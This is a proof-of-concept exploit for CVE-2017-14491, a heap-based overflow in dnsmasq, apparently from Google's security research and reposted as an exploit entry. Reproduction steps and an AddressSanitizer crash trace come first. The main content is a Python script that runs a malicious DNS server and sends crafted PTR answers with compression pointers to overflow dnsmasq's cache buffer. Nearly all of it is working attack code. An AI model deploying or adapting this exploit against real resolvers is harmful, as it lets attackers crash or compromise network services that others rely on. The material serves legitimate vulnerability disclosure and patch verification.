Dnsmasq 2-Byte Heap-Based Overflow

`'''  
Sources:  
https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14491.py  
https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html  
  
1) Build the docker and open three terminals  
  
docker build -t dnsmasq .  
docker run --rm -t -i --name dnsmasq_test dnsmasq bash  
docker cp poc.py dnsmasq_test:/poc.py  
docker exec -it <container_id> bash  
docker exec -it <container_id> bash  
  
2) On one terminal letas launch attacker controlled DNS server:  
  
# python poc.py 127.0.0.2 53  
Listening at 127.0.0.2:53  
  
3) On another terminal letas launch dnsmasq forwarding queries to attacker controlled DNS:  
  
# /testing/dnsmasq/src/dnsmasq -p 53535 --no-daemon --log-queries -S 127.0.0.2 --no-hosts --no-resolv  
dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150  
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify  
dnsmasq: using nameserver 127.0.0.2#53  
dnsmasq: cleared cache  
  
4) Letas fake a client making a request twice (or more) so we hit the dnsmasq cache:  
  
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null  
# dig @localhost -p 53535 -x 8.8.8.125 > /dev/null  
  
5) The crash might not be triggered on the first try due to the non-deterministic order of the dnsmasq cache. Restarting dnsmasq and retrying should be sufficient to trigger a crash.  
  
==1159==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62200001dd0b at pc 0x0000005105e7 bp 0x7fff6165b9b0 sp 0x7fff6165b9a8  
WRITE of size 1 at 0x62200001dd0b thread T0  
#0 0x5105e6 in add_resource_record /test/dnsmasq/src/rfc1035.c:1141:7  
#1 0x5127c8 in answer_request /test/dnsmasq/src/rfc1035.c:1428:11  
#2 0x534578 in receive_query /test/dnsmasq/src/forward.c:1439:11  
#3 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2  
#4 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7  
#5 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)  
#6 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9)  
  
0x62200001dd0b is located 0 bytes to the right of 5131-byte region [0x62200001c900,0x62200001dd0b)  
allocated by thread T0 here:  
#0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700)  
#1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15  
#2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20  
#3 0x7fdf4b3972b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)  
  
SUMMARY: AddressSanitizer: heap-buffer-overflow /test/dnsmasq/src/rfc1035.c:1141:7 in add_resource_record  
Shadow bytes around the buggy address:  
0x0c447fffbb50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c447fffbb60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c447fffbb70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c447fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x0c447fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
=>0x0c447fffbba0: 00[03]fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c447fffbbb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c447fffbbc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c447fffbbd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c447fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
0x0c447fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Heap right redzone: fb  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
==1159==ABORTING  
'''  
  
#!/usr/bin/python  
#  
# Copyright 2017 Google Inc  
#  
# Licensed under the Apache License, Version 2.0 (the "License");  
# you may not use this file except in compliance with the License.  
# You may obtain a copy of the License at  
#  
# http://www.apache.org/licenses/LICENSE-2.0  
#  
# Unless required by applicable law or agreed to in writing, software  
# distributed under the License is distributed on an "AS IS" BASIS,  
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  
# See the License for the specific language governing permissions and  
# limitations under the License.  
#  
# Authors:  
# Fermin J. Serna <[email protected]>  
# Felix Wilhelm <[email protected]>  
# Gabriel Campana <[email protected]>  
# Kevin Hamacher <[email protected]>  
# Gynvael Coldwind <[email protected]>  
# Ron Bowes - Xoogler :/  
  
import socket  
import struct  
import sys  
  
def dw(x):  
return struct.pack('>H', x)  
  
def udp_handler(sock_udp):  
  
data, addr = sock_udp.recvfrom(1024)  
print '[UDP] Total Data len recv ' + str(len(data))  
id = struct.unpack('>H', data[0:2])[0]  
query = data[12:]  
  
data = dw(id) # id  
data += dw(0x85a0) # flags  
data += dw(1) # questions  
data += dw(0x52) # answers  
data += dw(0) # authoritative  
data += dw(0) # additional  
  
# Add the question back - we're just hardcoding it  
data += ('\x03125\x018\x018\x018\x07in-addr\x04arpa\x00' +  
'\x00\x0c' + # type = 'PTR'  
'\x00\x01') # cls = 'IN'  
  
# Add the first answer  
data += ('\xc0\x0c' + # ptr to the name  
'\x00\x0c' + # type = 'PTR'  
'\x00\x01' + # cls = 'IN'  
'\x00\x00\x00\x3d' + # ttl  
'\x04\x00' + # size of this resource record  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x3e' + 'Z'*62 +  
'\x0e' + 'Z'*14 +  
'\x00')  
  
# Add the next answer, which is written out in full  
data += ('\xc0\x0c' + # ptr to the name  
'\x00\x0c' + # type = 'PTR'  
'\x00\x01' + # cls = 'IN'  
'\x00\x00\x00\x3d' + # ttl  
'\x00\x26' + # size of this resource record  
'\x08DCBBEEEE\x04DDDD\x08CCCCCCCC\x04AAAA\x04BBBB\x03com\x00')  
  
for _ in range(79):  
data += ('\xc0\x0c' + # ptr to the name  
'\x00\x0c' + # type = 'PTR'  
'\x00\x01' + # cls = 'IN'  
'\x00\x00\x00\x3d' + # ttl  
'\x00\x02' + # size of the compressed resource record  
'\xc4\x40') # pointer to the second record's name  
  
data += ('\xc0\x0c' + # ptr to the name  
'\x00\x0c' + # type = 'PTR'  
'\x00\x01' + # cls = 'IN'  
'\x00\x00\x00\x3d' + # ttl  
'\x00\x11' + # size of this resource record  
'\x04EEEE\x09DAABBEEEE\xc4\x49')  
  
sock_udp.sendto(data, addr)  
  
if __name__ == '__main__':  
  
if len(sys.argv) != 3:  
print 'Usage: %s <ip> <port>\n' % sys.argv[0]  
sys.exit(0)  
  
ip = sys.argv[1]  
port = int(sys.argv[2])  
  
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
sock_udp.bind((ip, port))  
print 'Listening at %s:%d\n' % (ip, port)  
  
while True:  
udp_handler(sock_udp)  
  
sock_udp.close()  
  
`